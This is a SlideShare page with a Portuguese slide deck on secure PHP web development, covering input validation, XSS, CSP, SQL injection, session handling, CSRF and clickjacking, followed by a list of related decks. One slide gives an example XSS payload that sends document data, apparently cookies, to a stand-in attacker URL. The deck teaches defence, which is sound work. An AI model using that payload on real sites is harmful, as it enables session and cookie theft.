SlideShare uma empresa Scribd logo
1 de 18
Baixar para ler offline
Segurança no
desenvolvimento
web
 rafaelmonteiro / web-development-security
Pilares da Segurança da
Informação
Confidencialidade
Integridade
Disponibilidade
 rafaelmonteiro / web-development-security
Princípios
Segurança em múltiplas camadas
Considere que cada camada eventualmente falhará
Forneça o mínimo de informação necessária
 rafaelmonteiro / web-development-security
Validação de entradas
Considerando que a requisição HTTP pode ser
manipulada pelo cliente, toda entrada do usuário
deve ser validada.
 rafaelmonteiro / web-development-security
Proteção
Para isso, o PHP oferece as extensões ctype e filter.
Além disso, a maioria dos frameworks de mercado
implementam algum tipo de
tratamento/sanitização de dados.
PHP 7+ oferece type declarations que permitem
especificar o tipo esperado de parâmetros. Para
isso:
declare(strict_types=1);
 rafaelmonteiro / web-development-security
Cross-site scripting (XSS)
Ocorre quando um script inserido por um usuário é
armazenado e/ou executado pela aplicação.
 rafaelmonteiro / web-development-security
Exemplo
<script>
(new Image()).src = “http://urldoatacante/?” + escape(document.
</script>
 rafaelmonteiro / web-development-security
Tipos
Armazenado
Não-persistente
Baseado em DOM
 rafaelmonteiro / web-development-security
Consequências
Roubo de cookie/sessão
Manipulação de DOM
Keylogger
Browser exploits
Basicamente tudo que o JavaScript permite
 rafaelmonteiro / web-development-security
Proteção
faz com que apenas códigos do
mesmo origin (protocolo/domínio/porta) tenham
acesso à aplicação, ao mesmo tempo que permite
acesso a arquivos externos (uma lib como o ,
por exemplo)
Filtrar entradas ( , , )
Escapar as saídas ( , ,
)
Aplicar (default-src, img-src,
script-src) -> eliminar código inline
Same-origin Policy
JQuery
strip_tags filter_var preg_replace
htmlspecialchars htmlentities
filter_var
Content Security Policy
 rafaelmonteiro / web-development-security
Testando a CSP
Content-Security-Policy-Report-Only
report-uri /caminho/arquivo.php
 rafaelmonteiro / web-development-security
SQL Injection
Proteção
Não concatenar dados (parâmetros) com comandos
Utilizar prepared statements
Validar entradas
Escapar caracteres
 rafaelmonteiro / web-development-security
Gerenciamento de estado
Proteção
Usar HTTPS
Definir secure e HttpOnly flags
Prevenir XSS
ID de sessão
Armazenar informação do usuário na sessão
(headers)
Detectar sequestro de sessão
Usar para dificultar o roubo de sessão
Alterar
HSTS
 rafaelmonteiro / web-development-security
Diretivas
session.use_strict_mode = true;
session.cookie_secure = true;
session.use_only_cookies = true;
session.cookie_httponly = true;
 
Strict-Transport-Security: max-age=86400; includeSubDomains
 rafaelmonteiro / web-development-security
Cross-site Request Forgery
(CSRF)
Causado por vírus, scam/phishing,
site/redirecionamento malicioso
Proteção
Não usar GET para operações que envolvam
manipulação de dados (porém, o POST também
pode ser manipulado)
Enviar token
 rafaelmonteiro / web-development-security
Clickjacking
Atacante cria página e, através de requisições para o
site alvo (usualmente via iframe), aproveita-se da
sessão do usuário
Proteção
header(‘X-FRAME-OPTIONS’, ‘DENY’); //ou SAMEORIGIN
 rafaelmonteiro / web-development-security
Ferramentas
Arachni web scanner
Dependencies security checker
 rafaelmonteiro / web-development-security
Referências
OWASP
 rafaelmonteiro / web-development-security

Mais conteúdo relacionado

Mais procurados

Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)Leandro Lugaresi
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...Rodrigo Immaginario
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBErick Belluci Tedeschi
 
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Alcyon Ferreira de Souza Junior, MSc
 
Explorando mecanismos autenticacao na web
Explorando mecanismos autenticacao na webExplorando mecanismos autenticacao na web
Explorando mecanismos autenticacao na webEduardo Cesar
 
Website security
Website securityWebsite security
Website securitythiagosenac
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareAlcyon Ferreira de Souza Junior, MSc
 
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...As Zone
 
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...Bruno Alexandre
 
As 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasAs 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasWalter Dias
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBAlcyon Ferreira de Souza Junior, MSc
 

Mais procurados (19)

Palestra criando aplicações seguras com php (2)
Palestra  criando aplicações seguras com php (2)Palestra  criando aplicações seguras com php (2)
Palestra criando aplicações seguras com php (2)
 
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 03 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 04 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 05 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Defensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon JuniorDefensive Programming - by Alcyon Junior
Defensive Programming - by Alcyon Junior
 
Dicas de segurança para o PHP e seus amigos
Dicas de segurança para o PHP e seus amigosDicas de segurança para o PHP e seus amigos
Dicas de segurança para o PHP e seus amigos
 
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...
Utilizando o AppLocker para proteger seu ambiente da execução de aplicações n...
 
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 01 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
O poder do x v.1.1
O poder do x  v.1.1O poder do x  v.1.1
O poder do x v.1.1
 
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEBFIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
FIEB - WebVibe - Desenvolvimento Seguro de Aplicações WEB
 
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
Aula 02 - Curso GRATUITO EAD de Desenvolvimento Seguro de Software com Alcyon...
 
Explorando mecanismos autenticacao na web
Explorando mecanismos autenticacao na webExplorando mecanismos autenticacao na web
Explorando mecanismos autenticacao na web
 
Website security
Website securityWebsite security
Website security
 
Como se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de SoftwareComo se tornar um especialista em Desenvolvimento Seguro de Software
Como se tornar um especialista em Desenvolvimento Seguro de Software
 
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...
Fisl 16 - WordPress vs Hacker - Descubra o que ainda é preciso saber para bl...
 
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...
Fortalecendo seus Servidores em Linux(Hardening) - Minimizando os ataques - S...
 
As 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-lasAs 10 maiores falhas de segurança e como executá-las
As 10 maiores falhas de segurança e como executá-las
 
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEBDica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
Dica 02 - Como mitigar os ataques de SQL Injection em aplicações WEB
 
Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019Desenvolvimento seguro - WorkSec 2019
Desenvolvimento seguro - WorkSec 2019
 

Semelhante a Seg Web Dev Pilares

Sql server 2016 discovery day
Sql server 2016   discovery daySql server 2016   discovery day
Sql server 2016 discovery dayRoberto Fonseca
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php segurosDouglas V. Pasqua
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPFlavio Souza
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureRubens Guimarães - MTAC MVP
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguroCharles Fortes
 
Implementando APIs REST mais seguras - TDC 2019 - Porto Alegre
Implementando APIs REST mais seguras - TDC 2019 - Porto AlegreImplementando APIs REST mais seguras - TDC 2019 - Porto Alegre
Implementando APIs REST mais seguras - TDC 2019 - Porto AlegreRenato Groff
 
Implementando APIs REST mais seguras - TDC 2019 - São Paulo
Implementando APIs REST mais seguras - TDC 2019 - São PauloImplementando APIs REST mais seguras - TDC 2019 - São Paulo
Implementando APIs REST mais seguras - TDC 2019 - São PauloRenato Groff
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEMagno Logan
 

Semelhante a Seg Web Dev Pilares (20)

Segurança Web com PHP5
Segurança Web com PHP5Segurança Web com PHP5
Segurança Web com PHP5
 
Sql server 2016 discovery day
Sql server 2016   discovery daySql server 2016   discovery day
Sql server 2016 discovery day
 
Workshop05
Workshop05Workshop05
Workshop05
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Escrevendo códigos php seguros
Escrevendo códigos php segurosEscrevendo códigos php seguros
Escrevendo códigos php seguros
 
Desenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHPDesenvolvendo sistemas seguros com PHP
Desenvolvendo sistemas seguros com PHP
 
Sql injection
Sql injectionSql injection
Sql injection
 
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no AzureGlobal Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
Global Azure Bootcamp - Recursos de Segurança para Aplicações no Azure
 
Webgoat Project - Apresentação
Webgoat Project - ApresentaçãoWebgoat Project - Apresentação
Webgoat Project - Apresentação
 
Desenvolvimento de software seguro
Desenvolvimento de software seguroDesenvolvimento de software seguro
Desenvolvimento de software seguro
 
Segurança e Controle de errros
Segurança e Controle de errrosSegurança e Controle de errros
Segurança e Controle de errros
 
Implementando APIs REST mais seguras - TDC 2019 - Porto Alegre
Implementando APIs REST mais seguras - TDC 2019 - Porto AlegreImplementando APIs REST mais seguras - TDC 2019 - Porto Alegre
Implementando APIs REST mais seguras - TDC 2019 - Porto Alegre
 
PHP FrameWARks - CakePHP
PHP FrameWARks - CakePHPPHP FrameWARks - CakePHP
PHP FrameWARks - CakePHP
 
Implementando APIs REST mais seguras - TDC 2019 - São Paulo
Implementando APIs REST mais seguras - TDC 2019 - São PauloImplementando APIs REST mais seguras - TDC 2019 - São Paulo
Implementando APIs REST mais seguras - TDC 2019 - São Paulo
 
Java security
Java securityJava security
Java security
 
RYSYS Overview
RYSYS OverviewRYSYS Overview
RYSYS Overview
 
Struts2 remote codeexecution
Struts2 remote codeexecutionStruts2 remote codeexecution
Struts2 remote codeexecution
 
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEEAppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
AppSec Latam 2011 - Treinamento OWASP Top 10 + JavaEE
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 
Segurança na web
Segurança na webSegurança na web
Segurança na web
 

Seg Web Dev Pilares